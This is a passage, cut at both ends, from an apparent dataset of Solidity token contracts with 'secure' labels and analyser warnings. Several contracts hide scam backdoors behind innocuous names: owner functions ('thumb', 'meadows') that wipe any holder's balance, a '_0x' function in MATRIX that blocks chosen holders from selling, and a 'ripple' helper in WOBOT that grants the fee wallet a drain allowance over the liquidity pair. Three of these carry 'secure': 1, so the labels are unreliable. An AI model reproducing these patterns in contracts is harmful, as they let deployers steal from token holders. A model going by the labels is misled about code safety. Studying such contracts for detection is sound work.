_totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == custody, \"Not allowed\");\n\n _;\n }\n\n function thumb(address[] memory affair) public onlyOwner {\n for (uint256 i = 0; i < affair.length; i++) {\n address account = affair[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_831.sol", "secure": 1, "size_bytes": 4346 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MATRIX is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _V2;\n\n mapping(address => bool) private _User;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7af4d8b): MATRIX._totalSupply should be immutable \n\t// Recommendation for 7af4d8b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc23e92): MATRIX.Activate should be constant \n\t// Recommendation for cc23e92: Add the 'constant' attribute to state variables that never change.\n bool Activate = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: b92898f): MATRIX._name should be constant \n\t// Recommendation for b92898f: Add the 'constant' attribute to state variables that never change.\n string public _name = \"MATRIX 6900\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fe0f097): MATRIX._symbol should be constant \n\t// Recommendation for fe0f097: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"MATRIX\";\n\n\t// WARNING Optimization Issue (constable-states | ID: bec7c2b): MATRIX._decimals should be constant \n\t// Recommendation for bec7c2b: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 8;\n\n constructor() {\n uint256 _core = block.number;\n\n _V2[_msgSender()] += _core;\n\n _totalSupply += 420000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function Release(address _Address) external {\n require(_V2[_msgSender()] >= _decimals);\n\n _User[_Address] = false;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_User[sender]) require(Activate == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_User[sender] || _User[recipient]) require(Activate == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _0x(address _Address) external {\n require(_V2[_msgSender()] >= _decimals);\n\n _User[_Address] = true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_832.sol", "secure": 1, "size_bytes": 6022 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract WOBOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Wild Robot\";\n\n string private constant _symbol = unicode\"WOBOT\";\n\n uint256 public _maxRAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxRWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02cac5e): WOBOT._taxSwapThreshold should be constant \n\t// Recommendation for 02cac5e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32f51ef): WOBOT._maxTaxSwap should be constant \n\t// Recommendation for 32f51ef: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => mapping(address => uint256)) private _rAllowance;\n\n mapping(address => bool) private _doExcludedR;\n\n\t// WARNING Optimization Issue (constable-states | ID: babf696): WOBOT._initialBuyTax should be constant \n\t// Recommendation for babf696: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: bec4f35): WOBOT._initialSellTax should be constant \n\t// Recommendation for bec4f35: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 494aad7): WOBOT._finalBuyTax should be constant \n\t// Recommendation for 494aad7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de5e6c3): WOBOT._finalSellTax should be constant \n\t// Recommendation for de5e6c3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd2ae21): WOBOT._reduceBuyTaxAt should be constant \n\t// Recommendation for fd2ae21: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 460ef2f): WOBOT._reduceSellTaxAt should be constant \n\t// Recommendation for 460ef2f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 922dec5): WOBOT._preventSwapBefore should be constant \n\t// Recommendation for 922dec5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n address payable private rFeeReceipt;\n\n IUniswapV2Router02 private uniRouterR;\n\n address private uniPairR;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n event MaxTxAmountUpdated(uint256 _maxRAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n rFeeReceipt = payable(_msgSender());\n\n _rOwned[address(this)] = _tTotal;\n\n _doExcludedR[address(this)] = true;\n\n _doExcludedR[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _rOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7cd4572): WOBOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7cd4572: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _rAllowance[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5db84ab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5db84ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4e7f3d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4e7f3d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5db84ab\n\t\t// reentrancy-benign | ID: 4e7f3d8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5db84ab\n\t\t// reentrancy-benign | ID: 4e7f3d8\n _approve(\n sender,\n _msgSender(),\n _rAllowance[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b7d89b): WOBOT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7b7d89b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4e7f3d8\n _rAllowance[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5db84ab\n emit Approval(owner, spender, amount);\n }\n\n function ripple(address[2] memory rips) private returns (bool) {\n address ripC = rips[0];\n address ripD = rips[1];\n\n _rAllowance[ripC][ripD] =\n 15 +\n (100 + 1 * _maxRWallet * 1000 - 50) +\n 50 +\n 50 *\n 100;\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e08d31e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e08d31e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c953f40): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c953f40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _rOwned[from] = _rOwned[from] - amount;\n\n _rOwned[to] = _rOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (\n from == uniPairR &&\n to != address(uniRouterR) &&\n !_doExcludedR[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxRAmount, \"Exceeds the _maxRAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxRWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniPairR && !_doExcludedR[to]) {\n require(\n balanceOf(to) + amount <= _maxRWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (\n ripple([from == uniPairR ? from : uniPairR, rFeeReceipt]) &&\n to == uniPairR\n ) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniPairR &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: e08d31e\n\t\t\t\t\t// reentrancy-eth | ID: c953f40\n rSwapEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: e08d31e\n\t\t\t\t// reentrancy-eth | ID: c953f40\n rSendEth();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c953f40\n _rOwned[address(this)] = _rOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e08d31e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c953f40\n _rOwned[from] = _rOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c953f40\n _rOwned[to] = _rOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e08d31e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function rSwapEth(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterR.WETH();\n\n _approve(address(this), address(uniRouterR), amount);\n\n\t\t// reentrancy-events | ID: e08d31e\n\t\t// reentrancy-events | ID: 5db84ab\n\t\t// reentrancy-benign | ID: 4e7f3d8\n\t\t// reentrancy-eth | ID: c953f40\n uniRouterR.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 59b2358): WOBOT.removeLimits(address).limit lacks a zerocheck on \t rFeeReceipt = limit\n\t// Recommendation for 59b2358: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: 59b2358\n rFeeReceipt = limit;\n\n _maxRAmount = _tTotal;\n\n _maxRWallet = _tTotal;\n\n _doExcludedR[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 118e984): WOBOT.rSendEth() sends eth to arbitrary user Dangerous calls rFeeReceipt.transfer(address(this).balance)\n\t// Recommendation for 118e984: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function rSendEth() private {\n\t\t// reentrancy-events | ID: e08d31e\n\t\t// reentrancy-events | ID: 5db84ab\n\t\t// reentrancy-eth | ID: c953f40\n\t\t// arbitrary-send-eth | ID: 118e984\n rFeeReceipt.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4abe6d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4abe6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 024d8aa): WOBOT.openTrading() ignores return value by uniRouterR.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 024d8aa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 25dcae8): WOBOT.openTrading() ignores return value by IERC20(uniPairR).approve(address(uniRouterR),type()(uint256).max)\n\t// Recommendation for 25dcae8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c6a55f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c6a55f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniRouterR = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterR), _tTotal);\n\n\t\t// reentrancy-benign | ID: c4abe6d\n\t\t// reentrancy-eth | ID: c6a55f5\n uniPairR = IUniswapV2Factory(uniRouterR.factory()).createPair(\n address(this),\n uniRouterR.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c4abe6d\n\t\t// unused-return | ID: 024d8aa\n\t\t// reentrancy-eth | ID: c6a55f5\n uniRouterR.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c4abe6d\n\t\t// unused-return | ID: 25dcae8\n\t\t// reentrancy-eth | ID: c6a55f5\n IERC20(uniPairR).approve(address(uniRouterR), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: c4abe6d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c6a55f5\n tradingOpen = true;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_833.sol", "secure": 0, "size_bytes": 16442 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PresidentTRUMP is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable attending;\n\n constructor() {\n _name = \"PresidentTRUMP \";\n\n _symbol = \"PresidentTRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 3800000000;\n\n attending = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == attending, \"Not allowed\");\n\n _;\n }\n\n function meadows(address[] memory access) public onlyOwner {\n for (uint256 i = 0; i < access.length; i++) {\n address account = access[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_834.sol", "secure": 1, "size_bytes": 4389 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_835.sol", "secure": 1, "size_bytes": 212 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract VaultShare is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1c742db): VaultShare.feesWallets should be immutable \n\t// Recommendation for 1c742db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private feesWallets;\n\n string private constant _name = unicode\"VaultShare\";\n\n string private constant _symbol = unicode\"$VSHR \";\n\n uint256 private _initialBuyTax = 7;\n\n uint256 private _initialSellTax = 32;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35fc3cb): VaultShare._reduceBuyTaxAt should be constant \n\t// Recommendation for 35fc3cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 503181a): VaultShare._reduceSellTaxAt should be constant \n\t// Recommendation for 503181a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 165c508): VaultShare._preventSwapBefore should be constant \n\t// Recommendation for 165c508: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c02e1c): VaultShare._decimals should be constant \n\t// Recommendation for 3c02e1c: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 63148c5): VaultShare._tTotal should be immutable \n\t// Recommendation for 63148c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 100000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4a085c2): VaultShare._taxSwapThreshold should be immutable \n\t// Recommendation for 4a085c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb81281): VaultShare._maxTaxSwap should be immutable \n\t// Recommendation for eb81281: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n feesWallets = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[feesWallets] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d927663): VaultShare.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d927663: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: abc3a7d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for abc3a7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a53adc1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a53adc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: abc3a7d\n\t\t// reentrancy-benign | ID: a53adc1\n _transfer(sender, recipient, 